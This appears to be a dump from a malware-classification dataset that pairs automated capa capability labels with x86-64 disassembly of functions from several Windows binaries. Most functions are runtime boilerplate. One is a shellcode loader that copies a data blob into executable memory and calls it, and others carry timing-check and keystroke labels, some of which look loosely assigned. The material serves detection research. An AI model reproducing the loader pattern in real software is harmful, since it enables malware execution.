joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d7d2300
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d7f35e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d7d2488
mov rax, qword [0x6d7f35e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d7d234c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d7d23d5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d7d2330
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d7d24bd
mov rax, qword [0x6d7f35e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d7f35e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d7d24a0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d7d23ce
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d7d2430
add dword [0x6d7f35e4], 1
cmp edi, 8
jae 0x6d7d2403
test dil, 4
jne 0x6d7d2474
test edi, edi
je 0x6d7d23f8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d7d248f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d7d23f8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d7d241c
jmp 0x6d7d23f8
add rsi, qword [0x6d7f35e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d7d23ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d7d23f8
xor esi, esi
jmp 0x6d7d2357
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d7d23f8
mov rax, qword [0x6d7f35e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d7d2c10
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d7f38c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d7f38a0]
test rbx, rbx
je 0x6d7d2c64
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d7d2c5b
test rsi, rsi
je 0x6d7d2c5b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d7d2c40
lea rcx, [0x6d7f38c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d7d2ea0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d7d2eb0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d7d2ec0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d7d2f01
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d7d2ef8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d7d2f03
add rax, 0x28
cmp rax, r9
jne 0x6d7d2ee4
xor eax, eax
ret

Function at 0x6d7d2fa0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d7f01f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d7d300d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7d300d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d7d300d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d7d3004
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d7d300f
add rax, 0x28
cmp rax, r9
jne 0x6d7d2ff0
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d7d3110
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d7f01f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d7d3130
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7d3128
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d7d318d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d7d3184
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d7d3194
add rax, 0x28
cmp rax, r9
jne 0x6d7d3170
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d7d31b0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d7f01f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d7d321e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7d321e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d7d321e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d7d321e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d7d3215
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d7d3225
add rcx, 0x28
cmp rcx, rax
jne 0x6d7d3200
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d7d3238
jmp 0x6d7d321e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d7d3246
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d7d321e
test r9d, r9d
jg 0x6d7d3230
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d7d3580
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x14060f058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14060f1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14060f089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14060f06f
add dl, dl
jne 0x14060f096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14060f0f6
xor eax, eax
add dl, dl
jne 0x14060f0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14060f1ad
add dl, dl
jne 0x14060f0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14060f0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14060f0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14060f0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14060f0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14060f07e
mov eax, 1
add dl, dl
jne 0x14060f106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14060f113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14060f0fb
sub eax, ebx
mov ebx, 1
jne 0x14060f14c
mov ecx, 1
add dl, dl
jne 0x14060f12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14060f13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14060f123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060f07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14060f168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14060f175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14060f15d
cmp eax, 0x7d00
jae 0x14060f19b
cmp eax, 0x500
jb 0x14060f196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060f07e
cmp eax, 0x7f
ja 0x14060f19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060f07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14060f1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14060f07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001970
Capabilities:
Check for time delay via gettickcount
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x20
cmp qword [0x14001cd40], 0
je 0x1400019d2
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
xor r8d, r8d
mov ebx, eax
lea ecx, [rdx + 2]
call qword [0x14001cd40]
test eax, eax
jne 0x1400019d2
nop word [rax + rax]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0xbb8
ja 0x1400019d2
xor edx, edx
xor r8d, r8d
lea ecx, [rdx + 2]
call qword [0x14001cd40]
test eax, eax
je 0x1400019a0
cmp qword [0x14001cd38], 0
je 0x140001a32
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
xor r8d, r8d
mov ebx, eax
lea ecx, [rdx + 2]
call qword [0x14001cd38]
test eax, eax
jne 0x140001a32
nop word [rax + rax]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0xbb8
ja 0x140001a32
xor edx, edx
xor r8d, r8d
lea ecx, [rdx + 2]
call qword [0x14001cd38]
test eax, eax
je 0x140001a00
xor ecx, ecx
add rsp, 0x20
pop rbx
jmp fcn.140001ed0
Function at 0x140001d50
Capabilities:
Log keystrokes

Disassembly:
push r12
push r14
push r15
sub rsp, 0x70
mov r15d, edx
mov r14, rcx
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, r14
mov r12, rax
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x140001eb9
cmp r12, r14
je 0x140001eb9
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x60], r13
xor r13d, r13d
mov ebx, r13d
nop dword [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edx, edx
mov rcx, r12
mov ebp, eax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, 1
mov ecx, ebp
mov edx, eax
mov esi, eax
call qword [sym.imp.USER32.dll_AttachThreadInput]
mov ecx, 0xffffffff
call qword [sym.imp.USER32.dll_AllowSetForegroundWindow]
mov rcx, r14
call qword [sym.imp.USER32.dll_SetForegroundWindow]
xor r8d, r8d
mov edx, esi
mov ecx, ebp
mov edi, eax
call qword [sym.imp.USER32.dll_AttachThreadInput]
test edi, edi
jne 0x140001e8c
test ebx, ebx
jne 0x140001e81
test r15d, r15d
jne 0x140001e81
mov rax, qword [0x14001cd20]
lea r8, [0x140017c2c]
mov qword [rsp + 0x58], r13
lea rdx, str.CLaunchDummyWndClass
mov qword [rsp + 0x50], rax
mov r9d, 0x84000000
mov qword [rsp + 0x48], r13
xor ecx, ecx
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
lea edx, [rbx + 1]
mov rdi, rax
call fcn.140001d50
xor r9d, r9d
lea edx, [rbx + 0x10]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
inc ebx
jmp 0x140001db0
inc ebx
cmp ebx, 2
jl 0x140001db0
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x90]
mov r13, qword [rsp + 0x60]
add rsp, 0x70
pop r15
pop r14
pop r12
ret
mov rcx, r14
add rsp, 0x70
pop r15
pop r14
pop r12
jmp qword [sym.imp.USER32.dll_BringWindowToTop]
Function at 0x140001ed0
Capabilities:
Check for time delay via gettickcount
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x240
mov rax, qword [0x14001b008]
xor rax, rsp
mov qword [rsp + 0x230], rax
test ecx, ecx
je 0x1400020a0
mov r8d, 0x104
lea rdx, [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x20]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rdx, str.ClHook.dll
lea rcx, [rsp + 0x20]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x14001cf78], rax
test rax, rax
je 0x140002032
lea rdx, str._ClGetDllVersion
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140002012
call rax
cmp eax, 0x1090200
jne 0x140002012
mov rcx, qword [0x14001cf78]
lea rdx, str._ClOperateMouseHook
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14001cf78]
lea rdx, str._ClOperateKeyboardHook
mov qword [0x14001cd40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14001cf78]
lea rdx, str._ClGetWindowControlReq
mov qword [0x14001cd38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14001cf78]
lea rdx, str._ClGetModulePath
mov qword [0x14001cd48], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14001cf78]
lea rdx, str._ClGetPathBuffer
mov qword [0x14001cf58], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14001cf78]
lea rdx, str._ClSetPathBuffer
mov qword [0x14001cf60], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
mov qword [0x14001cd28], rax
mov rax, qword [0x14001cf78]
jmp 0x140002039
mov rcx, qword [0x14001cf68]
xor r9d, r9d
mov edx, 0x488
lea r8d, [r9 + 2]
call qword [sym.imp.USER32.dll_PostMessageW]
xor eax, eax
jmp 0x14000213d
mov rcx, qword [0x14001cd28]
test rax, rax
je 0x140002079
cmp qword [0x14001cd40], 0
je 0x140002079
cmp qword [0x14001cd38], 0
je 0x140002079
cmp qword [0x14001cd48], 0
je 0x140002079
cmp qword [0x14001cf58], 0
je 0x140002079
cmp qword [0x14001cf60], 0
je 0x140002079
test rcx, rcx
jne 0x140002138
xor ecx, ecx
call fcn.140001ed0
mov rcx, qword [0x14001cf68]
xor r9d, r9d
mov edx, 0x488
lea r8d, [r9 + 1]
call qword [sym.imp.USER32.dll_PostMessageW]
xor eax, eax
jmp 0x14000213d
cmp qword [0x14001cf78], 0
je 0x140002138
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rcx, qword [0x14001cf78]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test eax, eax
jne 0x140002105
nop word [rax + rax]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0xbb8
ja 0x14000202b
mov rcx, qword [0x14001cf78]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test eax, eax
je 0x1400020d0
xor eax, eax
mov qword [0x14001cf78], rax
mov qword [0x14001cd40], rax
mov qword [0x14001cd38], rax
mov qword [0x14001cd48], rax
mov qword [0x14001cf58], rax
mov qword [0x14001cf60], rax
mov qword [0x14001cd28], rax
mov eax, 1
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140002490
add rsp, 0x240
pop rbx
ret
Function at 0x140002da0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002dea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002dea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002dea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002dea
cmp dword [rcx + 0x84], 0xe
jbe 0x140002dea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002dec
xor al, al
add rsp, 0x28
ret

Function at 0x14000779c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140007598
Function at 0x14000a254
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000a2db
mov rsi, rbx
cmp word [rax], bp
je 0x14000a29a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000a284
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14000a280
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14000ac74
mov rdi, rax
test rax, rax
je 0x14000a2c8
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140004360
mov rbp, rdi
xor ecx, ecx
call fcn.140008fb8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14000f350
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000f378
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000f378
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400127d0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400127e0]
mov dword [rax], 1
mov rax, qword [0x1400127f0]
mov dword [rax], 1
mov rax, qword [0x140012760]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400127c0]
mov dword [0x14001500c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400128a0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140012880]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140012740]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140012820]
xor edi, edi
mov rax, qword gs:[0x30]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140012830]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140015008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x140012790]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call sym._pei386_runtime_relocator
mov rcx, qword [sym._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140012810]
lea rcx, [sym.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call sym._fpreset
mov ebx, dword [0x140015028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
test ebx, ebx
mov rbp, qword [0x140015020]
mov r12, rax
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [rbp + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [r12 + rbx], rax
mov rdx, qword [rbp + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, r12
mov qword [rdi], 0
mov qword [0x140015020], r12
call sym.__main
mov rax, qword [0x1400127a0]
mov r8, qword [0x140015018]
mov ecx, dword [0x140015028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140015020]
call sym.main
mov ecx, dword [0x14001500c]
mov dword [0x140015010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140015008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140012830]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call sym._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x140012850]
mov rcx, qword [0x140012840]
call sym._initterm
test edi, edi
mov dword [rsi], 2
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x140015010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140012870]
mov dword [rsi], 1
mov rcx, qword [0x140012860]
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b6
mov ecx, eax
call sym.exit
nop
Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov eax, 0xe400
call fcn.140002550
sub rsp, rax
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp - 0x60]
lea rdx, section..rdata
mov ecx, 0xe3d6
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0xe3d6
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0xe378], rax
mov rax, qword [rbp + 0xe378]
mov rcx, rax
lea rax, [rbp - 0x60]
mov edx, 0xe3d6
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov rax, qword [rbp + 0xe378]
call rax
mov eax, 0
add rsp, 0xe400
pop rbp
ret

Function at 0x1400017b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001820
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140015094]
test esi, esi
mov rbx, rcx
jle 0x140001950
mov rax, qword [0x140015098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000186b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400018f5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001850
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x140001972
mov rax, qword [0x140015098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140015098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001957
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400018ee
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001900
add dword [0x140015094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140015098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400018ee
